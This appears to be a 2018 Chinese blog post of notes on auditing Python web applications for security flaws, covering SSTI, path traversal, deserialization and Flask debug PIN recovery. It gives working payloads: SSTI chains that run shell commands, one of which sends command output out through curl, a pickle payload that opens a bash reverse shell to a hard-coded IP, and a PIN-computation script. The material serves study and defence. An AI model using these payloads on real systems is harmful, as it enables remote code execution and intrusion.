Python 代码审计与安全编码

日就完事了

Posted by RTL on August 8, 2018

Python 代码审计与安全编码

  • Python 应用框架
    • Django
    • Flask
    • Tornado
    • Web.py

Python Web 漏洞距举例

  • Django debug page XSS 漏洞
  • Django 1.6 版本前 seesion 反序列化任意代码执行
    • Django 1.6 以下,session 默认采用 picked

Python(不单单是 Python) 的 Web 应用可能存在哪些问题?

  • SQl 注入
  • 模板注入 SSTI
  • 格式化字符串
  • 客户端 SESSION
  • 路径穿越
  • 反序列化
  • Flask Debug Pin 码存在的安全风险

Web 通用漏洞 在 Python

  • Sql 注入
  • XSS
  • CSRF

  • XXE
    • Python 解析 XML 存在 XXE 的函数: lxml 模块
    • 原因: libxml 2.9 以下默认导入外部实体, lxml 中默认
  • SSRF
    • 重定向
      • pycurl 默认不跟随重定向, urllib/requests 跟随
    • 协议支持
      • urllib/urllib2/requests -> http/https/ftp
      • pycurl 一般都支持

SSTI

  • What is SSTI?
    • 服务器模板注入和常见的 Web 注入的成因一样,也是服务端接受了
  • 从 MVC 开发模式说起
    • Model View Controller
  • 模板注入是 Model 被用户控制
  • 注入代码

# 由于 jekyll模板问题 % 我使用 PERSENT 代替

# 未过滤
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()

# 过滤中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

# 过滤引号''""
#  先获取 chr 函数,赋值给 chr, 后面拼接字符串
{ PERSENT set chr=().__class__.bases__.getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__chr PERSENT}
# 借助 request 对象
&cmd=id

# 过滤双下划线__
&class=__class__&mro=__mro__&subclasses=__subclasses__


# 过滤双大括号
{ PERSENT if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://localhost?i=`whoami`').read()=='p' PERSENT}1{PERSENT endif PERSENT}

格式化字符串

客户端 SESSION

  • Tornado session 格式(六部分)
    • 版本号
    • len(value) : value
    • key_version
    • 时间戳
    • cookie 的键
    • cookie 的值 (base64)
    • signature 的值

路径穿越

@users.route('/asserts/<path:path>')
def static_handler(path):
  filename = os.path.join(app.root_path,'asserts',path)
  if os.path.isfile(filename):
      return send_file(filename)
  else:
      abort(404)

# curl localhost:8080/assert/..%2fuser.py
  • 如何修复
    • os.path.join 换成 flask 提供的 safe_join
    • 过滤
    • 使用 static 目录存放静态文件

反序列化

import os
import pickle

class test(object):
  def __reduce__(self):
    code='bash -c "bash -i >& /dev/tcp/118.89.20.188/12345 0<&1 2>&1"'
    return (os.system, (code,))
print pickle.dump(test())
  • 其他序列化函数
    • yaml
    • shelve

Flask Debug Pin

  md5_list = [
    'root', #当前用户,可通过读取 /ect/passwd 获取
    'flask.app', #一般情况为固定值
    'Flask', #一般情况为固定值
    'usr/local/lib/python2.7/dist-packages/flask/app.pyc',#可通过debug错误页面获取
    'mac地址十进制', #通过读取/sys/class/net/eth0/address获取,如果不是映射端口,可以通过 arp ip命令获取
    '机器名' #通过读取/etc/machine-id(常为空) 或 /proc/sys/kernel/random/boot_id 获取
  ]
  • 计算 pin 码
# -*- coding:utf-8 -*-
import hashlib

def get_pin(md5_list):
  h = hashlib.md5()
  for bit in md5_list:
    if not bit:
      continue
    if isinstance(bit, unicode):
      bit = bit.encode('utf-8')
    h.update(bit)
  h.update(b'cookiesalt')
  h.update(b'pinsalt')
  num = ('%09d' % int(h.hexdigest(), 16))[:9]
  for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
      rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
        for x in range(0, len(num), group_size))
      break
  else:
    rv = num
  return rv